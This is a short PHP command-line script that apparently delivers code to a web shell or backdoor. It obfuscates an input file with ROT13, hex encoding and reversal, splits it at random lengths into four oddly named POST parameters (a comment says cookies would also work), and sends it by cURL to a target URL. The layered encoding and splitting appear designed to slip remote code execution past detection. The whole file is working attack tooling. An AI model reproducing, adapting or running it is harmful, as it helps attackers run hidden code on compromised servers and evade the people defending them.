<?php

$code = file_get_contents($argv[1]);
$url = $argv[2];

$stage1 = str_rot13($code);
$stage2 = unpack('H*', $stage1);
$stage3 = strrev($stage2[1]);

$len = strlen($stage3);

$m0 = rand(1, $len);
$len -= $m0;
$m1 = rand(1, $len);
$len -= $m1;
$m2 = rand(1, $len);
$len -= $m2;
$m3 = $len;

$olen = strlen($stage3);
print "Encoded string $olen characters\n";
print "Substring 1: $m0\n";
print "Substring 2: $m1\n";
print "Substring 3: $m2\n";
print "Substring 4: $m3\n";
$sum = $m0 + $m1 + $m2 + $m3;
print "Sum: $sum\n";

$fields = [
	'jweyc'    => substr($stage3, 0,          $m0),
	'aeskoly'  => substr($stage3, $m0,        $m1),
	'owhggiku' => substr($stage3, $m0+$m1,    $m2),
	'callbrhy' => substr($stage3, $m0+$m1+$m2)
];

// The fields can be cookie name/values,
// or HTTP POST parameter name/values.
$fields_string = http_build_query($fields);

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_POST, true);
curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string);

curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);
echo $result;
